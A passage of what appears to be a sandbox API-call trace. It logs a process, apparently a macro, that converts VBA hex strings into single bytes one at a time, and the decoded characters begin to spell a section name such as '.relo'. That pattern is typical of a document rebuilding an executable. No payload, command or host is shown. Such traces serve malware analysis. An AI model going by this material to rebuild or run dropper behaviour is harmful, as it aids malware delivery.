lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.047] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.047] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.047] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.048] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.048] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.048] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.048] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.049] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.049] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.049] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.050] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.050] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.051] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.051] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.051] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.051] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.052] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.052] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.053] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.053] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.053] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.053] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.054] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.054] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.055] VarParseNumFromStr (in: strIn="&H40", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.055] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="@") returned 1 [0062.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@", lpUsedDefaultChar=0x0) returned 1 [0062.056] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.056] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.056] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.056] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.057] VarParseNumFromStr (in: strIn="&HC0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.057] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="À") returned 1 [0062.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="À", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="À", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="À", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="À", lpUsedDefaultChar=0x0) returned 1 [0062.058] VarParseNumFromStr (in: strIn="&H2E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.058] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0062.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x0) returned 1 [0062.058] VarParseNumFromStr (in: strIn="&H72", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.058] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.059] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0062.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r", lpUsedDefaultChar=0x0) returned 1 [0062.059] VarParseNumFromStr (in: strIn="&H65", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.059] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.059] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0062.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e", lpUsedDefaultChar=0x0) returned 1 [0062.060] VarParseNumFromStr (in: strIn="&H6C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.060] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.060] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0062.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="l", lpUsedDefaultChar=0x0) returned 1 [0062.061] VarParseNumFromStr (in: strIn="&H6F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.061] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0062.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, 